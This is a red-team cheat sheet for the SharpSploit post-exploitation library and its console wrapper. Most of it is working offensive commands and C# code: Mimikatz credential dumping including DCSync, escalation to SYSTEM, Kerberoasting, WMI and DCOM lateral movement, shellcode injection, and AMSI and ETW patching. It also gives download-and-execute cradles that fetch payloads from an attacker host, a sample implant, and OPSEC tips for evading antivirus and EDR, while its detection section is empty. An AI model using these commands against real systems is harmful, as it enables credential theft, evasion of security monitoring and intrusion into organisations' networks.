🗡️ SharpSploit — Complete Cheat Sheet

Author: Netrunner | Tags: C# Post-Exploitation .NET Red Team AD

📋 Table of Contents

1. What is SharpSploit?
2. Architecture — Library vs Console
3. Compilation & Setup
4. Using SharpSploitConsole (Interactive)
5. Credentials — Mimikatz & Token Manipulation
6. Enumeration — Host, Domain, Network
7. Execution — Shell, PowerShell, Assembly, Shellcode
8. Lateral Movement — WMI, DCOM, SCM, PSRemoting
9. Evasion — AMSI & ETW Patching
10. Building Custom Tooling (Library Usage)
11. Delivery & In-Memory Execution
12. OPSEC Tips
13. Detection & Indicators
14. Common Errors & Fixes
15. Quick Reference Card

What is SharpSploit?

SharpSploit is a .NET post-exploitation library written in C# by Ryan Cobb (@cobbr) at SpecterOps. It is designed as a DLL — not a standalone executable — providing a rich API for offensive operations from managed code.

Key design points:

• Written as a class library (.dll) meant to be referenced by other C# projects
• Wraps native Win32/NT APIs using P/Invoke and D/Invoke (DynamicInvoke)
• Bundles an embedded Mimikatz PE for credential operations
• Targets .NET Framework 3.5 and 4.0 for maximum Windows compatibility
• Organized into namespaces mirroring post-exploitation phases

Namespaces at a glance:

GitHub: https://github.com/cobbr/SharpSploit API Docs: https://sharpsploit.cobbr.io/api/index.html

Architecture — Library vs Console

SharpSploit (The Library)

• A .dll — you reference it in your own C# project and call methods programmatically
• Maximum flexibility but requires C# development knowledge
• Ideal for custom implants, C2 integration, and bespoke tooling

SharpSploitConsole (The Wrapper)

• Created by @anthemtotheego and @g0ldengunsec
• A standalone .exe that wraps SharpSploit methods into a CLI interface
• Designed for operators who need quick access without writing C#
• Supports both interactive mode and non-interactive one-liner mode
• GitHub: https://github.com/anthemtotheego/SharpSploitConsole

When to use which:

Compilation & Setup

Compiling SharpSploit (the DLL)

# Clone the repo
git clone https://github.com/cobbr/SharpSploit.git
cd SharpSploit

# Open in Visual Studio
# File → Open → Solution → SharpSploit.sln

# Build settings:
#   Configuration: Release
#   Platform: Any CPU (or match target arch: x64/x86)
#   Target Framework: .NET Framework 3.5 or 4.0

# Build → Build Solution (Ctrl+Shift+B)
# Output: bin\Release\SharpSploit.dll

Compiling SharpSploitConsole

# Clone the console wrapper
git clone https://github.com/anthemtotheego/SharpSploitConsole.git
cd SharpSploitConsole

# Open SharpSploitConsole.sln in Visual Studio
# Ensure SharpSploit.dll is referenced (should be included)
# Build → Release → Any CPU

# Optional: Merge into single EXE using Costura.Fody or ILMerge
# Costura.Fody is often pre-configured — just build and it embeds DLLs

.NET Framework Compatibility

Tip: Build for .NET 3.5 if you want max compat. Build for .NET 4.0 if you need newer API features.

Using SharpSploitConsole (Interactive)

SharpSploitConsole provides a pre-built CLI wrapper around SharpSploit methods. It supports two modes: interactive (pseudo-shell) and non-interactive (single command).

Starting Interactive Mode

# Launch the console and enter interactive mode
SharpSploitConsole.exe Interact

# You'll get a prompt like:
# SharpSploit > _

# Type commands directly at the prompt
# Commands are CASE-INSENSITIVE

Non-Interactive Mode (Single Command)

# Run a single command and exit — ideal for C2 beacons
SharpSploitConsole.exe whoami
SharpSploitConsole.exe logonPasswords
SharpSploitConsole.exe Shell "net user /domain"
SharpSploitConsole.exe Kerberoast

Full SharpSploitConsole Command Reference

System & Identity

# Get current user context
SharpSploitConsole.exe whoami

# Escalate to SYSTEM (requires admin)
SharpSploitConsole.exe GetSystem

# Impersonate another process's token (requires admin + PID)
SharpSploitConsole.exe Impersonate <PID>

Command Execution

# Execute a shell command (cmd.exe)
SharpSploitConsole.exe Shell "whoami /all"
SharpSploitConsole.exe Shell "net group \"Domain Admins\" /domain"
SharpSploitConsole.exe Shell "ipconfig /all"

# Execute PowerShell (bypasses AMSI, ScriptBlock logging, Module logging)
SharpSploitConsole.exe PowerShell "Get-Process"
SharpSploitConsole.exe PowerShell "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.x/script.ps1')"

Credential Dumping (Requires Admin/SYSTEM)

# Run ALL Mimikatz credential modules (except DCSync)
SharpSploitConsole.exe Mimi-All

# Run specific Mimikatz command
SharpSploitConsole.exe Mimi-Command "privilege::debug sekurlsa::logonPasswords"
SharpSploitConsole.exe Mimi-Command "lsadump::dcsync /user:DOMAIN\krbtgt"
SharpSploitConsole.exe Mimi-Command "sekurlsa::ekeys"

# Dump logon passwords (privilege::debug + sekurlsa::logonPasswords)
SharpSploitConsole.exe logonPasswords

# Dump SAM database hashes (local accounts)
SharpSploitConsole.exe SamDump

# Dump LSA Secrets (service account passwords, autologon, etc.)
SharpSploitConsole.exe LsaSecrets

# Dump LSA Cache (domain cached credentials — DCC2 hashes)
SharpSploitConsole.exe LsaCache

# Dump Wdigest credentials
SharpSploitConsole.exe Wdigest

Kerberoasting

# Kerberoast all service accounts with SPNs
SharpSploitConsole.exe Kerberoast

Lateral Movement (Requires Admin on Target)

# Execute command via WMI on a remote host
SharpSploitConsole.exe WMI <computername> <username> <password> <command>
# Example:
SharpSploitConsole.exe WMI DC01 PAINTERS\admin P@ssw0rd "whoami"

# Execute command via DCOM on a remote host
SharpSploitConsole.exe DCOM <computername> <command> <directory> <params>
# Example:
SharpSploitConsole.exe DCOM DC01 "cmd.exe" "C:\Windows\System32" "/c whoami"

Network Enumeration

# Get members of a local group on a remote host
SharpSploitConsole.exe NetLocalGroupMembers <computername> <groupname> <username> <password>
# Example:
SharpSploitConsole.exe NetLocalGroupMembers DC01 Administrators PAINTERS\user P@ss

# List local groups on a remote host
SharpSploitConsole.exe NetLocalGroups <computername> <username> <password>

# List currently logged-on users on a remote host
SharpSploitConsole.exe NetLoggedOnUsers <computername> <username> <password>

# List active sessions on a remote host
SharpSploitConsole.exe NetSessions <computername> <username> <password>

Interactive Mode Full Workflow Example

C:\Tools> SharpSploitConsole.exe Interact

SharpSploit > whoami
PAINTERS\svc_admin

SharpSploit > GetSystem
[+] Successfully impersonated: NT AUTHORITY\SYSTEM

SharpSploit > logonPasswords
  Authentication Id : 0 ; 999 (00000000:000003e7)
  Session           : UndefinedLogonType
  User Name         : DC01$
  Domain            : PAINTERS
   * Username : Administrator
   * Domain   : PAINTERS
   * NTLM     : aad3b435b51404eeaad3b435b51404ee
   * SHA1     : ...

SharpSploit > SamDump
Administrator:500:aad3b4...
Guest:501:aad3b4...

SharpSploit > Shell "net group \"Domain Admins\" /domain"
Members: Administrator  svc_admin

SharpSploit > Kerberoast
$krb5tgs$23$*svc_sql$PAINTERS.HTB$...

SharpSploit > WMI DC02 PAINTERS\Administrator P@ssw0rd "whoami"
painters\administrator

SharpSploit > exit

Credentials — Mimikatz & Token Manipulation

Using as a Library (C# Code)

using SharpSploit.Credentials;

// === MIMIKATZ OPERATIONS ===

// Dump logon passwords (sekurlsa::logonPasswords)
string result = Mimikatz.LogonPasswords();
Console.WriteLine(result);

// Run any arbitrary Mimikatz command
string dcsync = Mimikatz.Command("lsadump::dcsync /user:PAINTERS\\krbtgt");
string ekeys  = Mimikatz.Command("sekurlsa::ekeys");
string cache  = Mimikatz.Command("lsadump::cache");
string sam    = Mimikatz.Command("lsadump::sam");

// Dump all credentials at once (logonpasswords + sam + cache + secrets + wdigest)
string all = Mimikatz.All();

// Dump SAM hashes
string samDump = Mimikatz.SamDump();

// Dump LSA Secrets
string secrets = Mimikatz.LsaSecrets();

// Dump LSA Cache (DCC2)
string lsaCache = Mimikatz.LsaCache();

// Dump Wdigest
string wdigest = Mimikatz.Wdigest();


// === TOKEN MANIPULATION ===

// Create a Tokens object
Tokens tokens = new Tokens();

// Escalate to SYSTEM (requires admin)
bool gotSystem = tokens.GetSystem();

// Impersonate a specific user by finding their process token
bool impersonated = tokens.ImpersonateUser("PAINTERS\\Administrator");

// Impersonate a process by PID
bool impersonatedProc = tokens.ImpersonateProcess(1234);

// Create a new logon token with known credentials
bool madeToken = tokens.MakeToken("PAINTERS\\svc_sql", "Password123!");

// Revert impersonation back to original context
bool reverted = tokens.RevertToSelf();

// Enable a specific token privilege
tokens.EnableTokenPrivilege("SeDebugPrivilege");

// List available token privileges
string privs = tokens.WhoAmI();

Enumeration — Host, Domain, Network

Host Enumeration

using SharpSploit.Enumeration;

// Get list of running processes
string procs = Host.GetProcessList();

// Get current directory
string cwd = Host.GetCurrentDirectory();

// Get hostname
string hostname = Host.GetHostname();

// Get username
string user = Host.GetUsername();

// Get OS version info
string os = Host.GetOSVersion();

// List files in a directory
string files = Host.GetDirectoryListing("C:\\Users");

// Read a file
string content = Host.ReadFile("C:\\Users\\admin\\Desktop\\flag.txt");

// Get registry value
string regVal = Host.GetRegistryKey("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "ProductName");

// Monitor clipboard (returns clipboard contents)
string clipboard = Host.GetClipboard();

Domain Enumeration (LDAP)

using SharpSploit.Enumeration;

// Get domain users
string users = Domain.GetDomainUsers();

// Get domain groups
string groups = Domain.GetDomainGroups();

// Get domain computers
string computers = Domain.GetDomainComputers();

// Custom LDAP search
string search = Domain.LDAPSearch("(&(objectClass=user)(adminCount=1))", "DC=painters,DC=htb");

// Get members of a specific group
string daMembers = Domain.GetDomainGroupMembers("Domain Admins");

// Get domain trusts
string trusts = Domain.GetDomainTrusts();

// Get domain controllers
string dcs = Domain.GetDomainControllers();

// Get SPNs (useful for Kerberoasting prep)
string spns = Domain.GetDomainUserSPNs();

Network Enumeration

using SharpSploit.Enumeration;

// Ping a host
bool alive = Network.Ping("10.10.10.1");

// Port scan a host
string openPorts = Network.PortScan("10.10.10.1", new int[] { 21, 22, 80, 135, 389, 445, 3389, 5985 });

// Get local group members on a remote host
string members = Network.GetNetLocalGroupMembers("DC01", "Administrators");

// Get logged-on users on a remote host
string loggedOn = Network.GetNetLoggedOnUsers("DC01");

// Get sessions on a remote host
string sessions = Network.GetNetSessions("DC01");

Execution — Shell, PowerShell, Assembly, Shellcode

Shell Command Execution

using SharpSploit.Execution;

// Execute a cmd.exe command
string output = Shell.ShellExecute("whoami /all");
string output2 = Shell.ShellExecute("net user /domain");
string output3 = Shell.ShellExecute("ipconfig /all");

// Execute and capture stderr as well
string result = Shell.ShellExecute("dir C:\\Users");

PowerShell Execution

using SharpSploit.Execution;

// Execute a PowerShell command (bypasses AMSI, ScriptBlock logging, Module logging)
string psOutput = Shell.PowerShellExecute("Get-Process | Select-Object Name,Id");

// Execute PowerShell script from string
string psScript = @"
    $users = Get-ADUser -Filter * -Properties AdminCount
    $users | Where-Object { $_.AdminCount -eq 1 } | Select Name
";
string psResult = Shell.PowerShellExecute(psScript);

// Download and execute (cradle)
string cradle = Shell.PowerShellExecute(
    "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.x/PowerView.ps1'); Get-DomainUser -AdminCount"
);

.NET Assembly Loading (In-Memory Execution)

using SharpSploit.Execution;

// Load a .NET assembly from bytes and execute
byte[] assemblyBytes = File.ReadAllBytes("Rubeus.exe");
Assembly.AssemblyExecute(assemblyBytes, new string[] { "kerberoast", "/outfile:hashes.txt" });

// Load from a URL
byte[] assemblyFromWeb = new System.Net.WebClient().DownloadData("http://10.10.14.x/Seatbelt.exe");
Assembly.AssemblyExecute(assemblyFromWeb, new string[] { "-group=all" });

// Load a .NET DLL and call a specific method
Assembly.AssemblyExecute(dllBytes, "ClassName", "MethodName", new object[] { "arg1", "arg2" });

Shellcode Execution

using SharpSploit.Execution;

// Execute raw shellcode in current process
byte[] shellcode = new byte[] { 0xfc, 0x48, 0x83, ... };
ShellCode.ShellCodeExecute(shellcode);

// Process injection — inject shellcode into a remote process
Injection.Inject(shellcode, targetPID);

D/Invoke (Dynamic Invocation)

using SharpSploit.Execution.DynamicInvoke;

// Dynamically invoke Win32 API without P/Invoke signatures
// Avoids static analysis / IAT hooks
object[] funcArgs = { processHandle, baseAddress, regionSize, allocationType, protection };
IntPtr result = (IntPtr)Win32.DynamicAPIInvoke("kernel32.dll", "VirtualAllocEx", 
    typeof(Win32.Delegates.VirtualAllocEx), ref funcArgs);

// Invoke NT API
object[] ntArgs = { processHandle, ref baseAddress, IntPtr.Zero, ref regionSize, allocationType, protection };
uint ntStatus = (uint)Native.LdrGetDllHandle("ntdll.dll", "NtAllocateVirtualMemory",
    typeof(Native.Delegates.NtAllocateVirtualMemory), ref ntArgs);

Lateral Movement — WMI, DCOM, SCM, PSRemoting

using SharpSploit.LateralMovement;

// === WMI LATERAL MOVEMENT ===
// Execute a command on a remote host via WMI (requires admin)
string wmiResult = WMI.WMIExecute("DC01", "whoami", "PAINTERS\\Administrator", "P@ssw0rd");

// === DCOM LATERAL MOVEMENT ===
// Execute via DCOM (MMC20.Application / ShellWindows / ShellBrowserWindow)
DCOM.DCOMExecute("DC01", "cmd.exe /c whoami > C:\\output.txt", "C:\\Windows\\System32");

// === SCM (Service Control Manager) ===
// Create and start a service on a remote host
// Requires admin on target + SMB access
// Note: Creates Windows Event logs for service creation

// === PowerShell Remoting ===
// Execute via WinRM/PSRemoting
string psRemoteResult = PowerShellRemoting.InvokeCommand("DC01", "whoami; hostname");

Lateral Movement via SharpSploitConsole

# WMI — execute command on remote host
SharpSploitConsole.exe WMI DC01 "PAINTERS\admin" "P@ssw0rd" "whoami"
SharpSploitConsole.exe WMI DC01 "PAINTERS\admin" "P@ssw0rd" "net localgroup administrators"

# DCOM — execute via DCOM object
SharpSploitConsole.exe DCOM DC01 "cmd.exe" "C:\Windows\System32" "/c whoami > C:\temp\out.txt"

Evasion — AMSI & ETW Patching

using SharpSploit.Evasion;

// Patch AMSI (AmsiScanBuffer) in current process
// Prevents PowerShell/AMSI from scanning loaded scripts
Amsi.PatchAmsiScanBuffer();

// Patch ETW (EtwEventWrite) to suppress event logging
// Prevents .NET assembly loads from generating ETW events
Etw.PatchEtw();

Why this matters:

• AMSI patch = PowerShell commands executed via Shell.PowerShellExecute() won’t be scanned
• ETW patch = In-memory .NET assembly loads won’t generate Microsoft-Windows-DotNETRuntime events
• Both should be called early before any other operations

Building Custom Tooling (Library Usage)

Minimal C# Implant Example

using System;
using SharpSploit.Credentials;
using SharpSploit.Enumeration;
using SharpSploit.Execution;
using SharpSploit.Evasion;

namespace CustomImplant
{
    class Program
    {
        static void Main(string[] args)
        {
            // Step 1: Patch defenses
            Amsi.PatchAmsiScanBuffer();
            Etw.PatchEtw();

            // Step 2: Enumerate
            Console.WriteLine("[*] Current User: " + Host.GetUsername());
            Console.WriteLine("[*] Hostname: " + Host.GetHostname());
            Console.WriteLine("[*] OS: " + Host.GetOSVersion());

            // Step 3: Check if we're admin
            string privs = Shell.ShellExecute("whoami /priv");
            if (privs.Contains("SeDebugPrivilege"))
            {
                Console.WriteLine("[+] Running as admin — dumping creds");

                // Escalate to SYSTEM
                Tokens tokens = new Tokens();
                tokens.GetSystem();

                // Dump everything
                Console.WriteLine(Mimikatz.LogonPasswords());
                Console.WriteLine(Mimikatz.SamDump());

                // Revert
                tokens.RevertToSelf();
            }

            // Step 4: Domain Enumeration
            Console.WriteLine("[*] Domain Admins:");
            Console.WriteLine(Domain.GetDomainGroupMembers("Domain Admins"));

            // Step 5: Kerberoast
            Console.WriteLine("[*] SPNs found:");
            Console.WriteLine(Domain.GetDomainUserSPNs());
        }
    }
}

Visual Studio Project Setup

1. File → New → Console App (.NET Framework)
2. Target Framework: .NET Framework 4.0
3. Solution Explorer → References → Add Reference → Browse
4. Select SharpSploit.dll
5. Write your code using SharpSploit namespaces
6. Build → Release

# Single-file merge (optional):
# Install Costura.Fody via NuGet:
Install-Package Costura.Fody
# Rebuild — SharpSploit.dll is now embedded in your .exe

Delivery & In-Memory Execution

Drop to Disk

# Download SharpSploitConsole to target
certutil -urlcache -f http://10.10.14.x/SharpSploitConsole.exe C:\Windows\Temp\ssc.exe
iwr -uri http://10.10.14.x/SharpSploitConsole.exe -outfile C:\Windows\Temp\ssc.exe
# Via Evil-WinRM
upload SharpSploitConsole.exe

In-Memory via Reflection (.NET Assembly Loading)

# Load SharpSploitConsole in memory — never touches disk
$data = (New-Object Net.WebClient).DownloadData('http://10.10.14.x/SharpSploitConsole.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[SharpSploitConsole.Program]::Main("logonPasswords".Split())

# Or with arguments
[SharpSploitConsole.Program]::Main(@("Shell", "whoami /all"))
[SharpSploitConsole.Program]::Main(@("Mimi-Command", "sekurlsa::ekeys"))

Via Covenant / Grunt

# SharpSploit is the native library for Covenant C2
# All Grunt tasks use SharpSploit methods under the hood

# In Covenant UI:
# Interact → Task → Select task (e.g., Mimikatz, ShellCmd, Assembly)
# Tasks map directly to SharpSploit API calls

Via execute-assembly (Cobalt Strike)

# Load SharpSploitConsole via execute-assembly
beacon> execute-assembly /path/to/SharpSploitConsole.exe logonPasswords
beacon> execute-assembly /path/to/SharpSploitConsole.exe Kerberoast
beacon> execute-assembly /path/to/SharpSploitConsole.exe Shell "net group \"Domain Admins\" /domain"

OPSEC Tips

✅ Patch AMSI and ETW BEFORE any other SharpSploit operations
   Amsi.PatchAmsiScanBuffer() + Etw.PatchEtw()

✅ Use in-memory execution (Assembly.Load) — avoid dropping to disk
   The binary is heavily signatured by every major AV/EDR

✅ Use D/Invoke (DynamicInvoke) instead of P/Invoke for API calls
   Avoids static IAT analysis and API hooking

✅ Obfuscate before deployment — use ConfuserEx, InvisibilityCloak, or manual edits
   Change namespaces, class names, method names, and strings

✅ Use MakeToken() over ImpersonateUser() when you have creds
   MakeToken creates a new logon — ImpersonateUser requires finding an existing process

✅ Always call RevertToSelf() after token impersonation
   Leaving orphaned impersonation tokens can cause instability

✅ Avoid Mimikatz.All() — it's noisy. Use targeted calls instead
   LogonPasswords() or SamDump() individually as needed

✅ Use AES keys for Kerberos operations when available
   RC4 downgrades trigger alerts on modern EDR

⚠️ SharpSploitConsole is HEAVILY detected — treat it as burned
   Build custom wrappers instead or use through C2 frameworks

⚠️ The embedded Mimikatz PE will trigger signature-based detection
   Consider replacing with NanoDump or manual LSASS techniques

Detection & Indicators

MITRE ATT&CK Mapping

Common Errors & Fixes

Quick Reference Card

═══════════════════════════════════════════════════════
  SHARPSPLOITCONSOLE QUICK REFERENCE
═══════════════════════════════════════════════════════

INTERACTIVE:        SharpSploitConsole.exe Interact
WHOAMI:             SharpSploitConsole.exe whoami
GET SYSTEM:         SharpSploitConsole.exe GetSystem
IMPERSONATE:        SharpSploitConsole.exe Impersonate <PID>

SHELL CMD:          SharpSploitConsole.exe Shell "<command>"
POWERSHELL:         SharpSploitConsole.exe PowerShell "<command>"

LOGON PASSWORDS:    SharpSploitConsole.exe logonPasswords
SAM DUMP:           SharpSploitConsole.exe SamDump
LSA SECRETS:        SharpSploitConsole.exe LsaSecrets
LSA CACHE:          SharpSploitConsole.exe LsaCache
WDIGEST:            SharpSploitConsole.exe Wdigest
MIMI ALL:           SharpSploitConsole.exe Mimi-All
MIMI CUSTOM:        SharpSploitConsole.exe Mimi-Command "<command>"

KERBEROAST:         SharpSploitConsole.exe Kerberoast

WMI EXEC:           SharpSploitConsole.exe WMI <host> <user> <pass> <cmd>
DCOM EXEC:          SharpSploitConsole.exe DCOM <host> <cmd> <dir> <params>

NET LOCAL GROUPS:   SharpSploitConsole.exe NetLocalGroups <host> <user> <pass>
NET GROUP MEMBERS:  SharpSploitConsole.exe NetLocalGroupMembers <host> <group> <user> <pass>
NET LOGGED ON:      SharpSploitConsole.exe NetLoggedOnUsers <host> <user> <pass>
NET SESSIONS:       SharpSploitConsole.exe NetSessions <host> <user> <pass>

═══════════════════════════════════════════════════════
  SHARPSPLOIT LIBRARY QUICK REFERENCE (C# CODE)
═══════════════════════════════════════════════════════

PATCH AMSI:         Amsi.PatchAmsiScanBuffer();
PATCH ETW:          Etw.PatchEtw();

LOGON PASSWORDS:    Mimikatz.LogonPasswords();
SAM DUMP:           Mimikatz.SamDump();
LSA SECRETS:        Mimikatz.LsaSecrets();
MIMI COMMAND:       Mimikatz.Command("<command>");

GET SYSTEM:         tokens.GetSystem();
IMPERSONATE USER:   tokens.ImpersonateUser("DOMAIN\\User");
MAKE TOKEN:         tokens.MakeToken("DOMAIN\\User", "password");
REVERT:             tokens.RevertToSelf();

SHELL CMD:          Shell.ShellExecute("<command>");
POWERSHELL:         Shell.PowerShellExecute("<command>");
LOAD ASSEMBLY:      Assembly.AssemblyExecute(bytes, args);
SHELLCODE:          ShellCode.ShellCodeExecute(bytes);

DOMAIN USERS:       Domain.GetDomainUsers();
DOMAIN GROUPS:      Domain.GetDomainGroups();
DOMAIN COMPUTERS:   Domain.GetDomainComputers();
LDAP SEARCH:        Domain.LDAPSearch("<filter>", "<searchBase>");

WMI EXEC:           WMI.WMIExecute("host", "cmd", "user", "pass");
DCOM EXEC:          DCOM.DCOMExecute("host", "cmd", "dir");

PROCESS LIST:       Host.GetProcessList();
READ FILE:          Host.ReadFile("path");
HOSTNAME:           Host.GetHostname();

Sources: SharpSploit GitHub (cobbr/SharpSploit) | SharpSploitConsole GitHub (anthemtotheego/SharpSploitConsole) | SpecterOps Blog | SharpSploit API Docs (sharpsploit.cobbr.io)